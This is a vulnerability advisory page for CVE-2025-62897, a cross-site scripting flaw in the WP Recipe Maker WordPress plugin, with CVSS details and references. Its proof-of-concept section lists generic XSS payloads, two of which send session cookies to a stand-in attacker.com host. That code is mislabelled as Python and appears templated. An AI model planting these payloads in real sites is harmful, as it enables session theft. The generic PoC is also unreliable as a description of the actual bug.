CVE-2025-62897

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Brecht WP Recipe Maker wp-recipe-maker allows Code Injection.This issue affects WP Recipe Maker: from n/a through < 10.1.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Recipe Maker < 10.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62897 PoC - Stored XSS in WP Recipe Maker -->
<!-- Inject via recipe content fields -->
<script>alert(document.cookie)</script>

<!-- Alternative payload using img tag -->
<img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie>

<!-- SVG-based payload -->
<svg onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))>

<!-- Event handler based -->
<body onload=eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62897/
[4] VulDB https://vuldb.com/cve/CVE-2025-62897
[5] https://patchstack.com/database/Wordpress/Plugin/wp-recipe-maker/vulnerability/wordpress-wp-recipe-maker-plugin-10-1-1-content-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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